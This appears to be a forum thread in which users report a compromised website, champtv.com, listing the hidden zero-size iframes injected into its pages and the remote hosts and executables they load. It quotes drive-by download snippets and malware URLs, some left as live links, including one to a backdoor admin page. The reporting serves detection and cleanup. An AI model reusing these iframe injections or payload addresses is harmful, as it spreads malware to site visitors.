hxxp://www.champtv.com/

[pcaccent]

hxxp:///www.champtv.com/index.asp
   <iframe width=0 height=0 src=hxxp://222.73.15.200/image.jpg></iframe> // JavaScript File
      hxxp://222.73.15.200/dos.exe

[Serg]

and admin page for this backdoor is here

Code: [Select]

http://www.fuckbb.com/dos5.txt


[pcaccent]

oh... Thank you very much Serg...
I will report this issue to admin.

hxxp:///www.champtv.com/index.asp
   <iframe width=0 height=0 src=hxxp://211.238.45.18/img/img.jpg></iframe>
      hxxp://211.238.45.18/img/img.exe

hxxp://champtv.com/images/box_2.gif
   <iframe src=hxxp://www.168user.com.tw/shop/9/inc/shop.htm width=0 height=0></iframe>

[Kayrac]

Code: [Select]

http://phi.or.kr/news/news/e.exe
is what that last one tries to dl

[JohnC]

Thanks.

[pcaccent]

Thank you Kayrac

   hxxp://218.38.58.134/index.htm
   <_iframe width=0 height=0 src=hxxp://218.38.58.134/M.htm></_iframe>
      hxxp://218.38.58.134/M.exe
   <_iframe width=0 height=0 src=htxx://218.38.58.134/MM.htm></_iframe>
      hxxp://218.38.58.134/MM.exe

[JohnC]

Thank you.

[pcaccent]

hxxp://www.champtv.com/
   <_iframe src=hxxp://218.38.58.134
      <_iframe src=hxxp://218.38.58.134/1/0614.htm width=0 height=0></_iframe>
         hxxp://211.238.45.18/fla/y.exe
      <_iframe src=hxxp://218.38.58.134/1/flash.htm width=0 height=100></_iframe>
      <_iframe src=hxxp://218.38.58.134/1/office.htm width=0 height=0></_iframe>
         hxxp//211.238.45.18/fla/y.exe // Microsoft Access for Snapshot View Active X Control

[JohnC]

Thank you.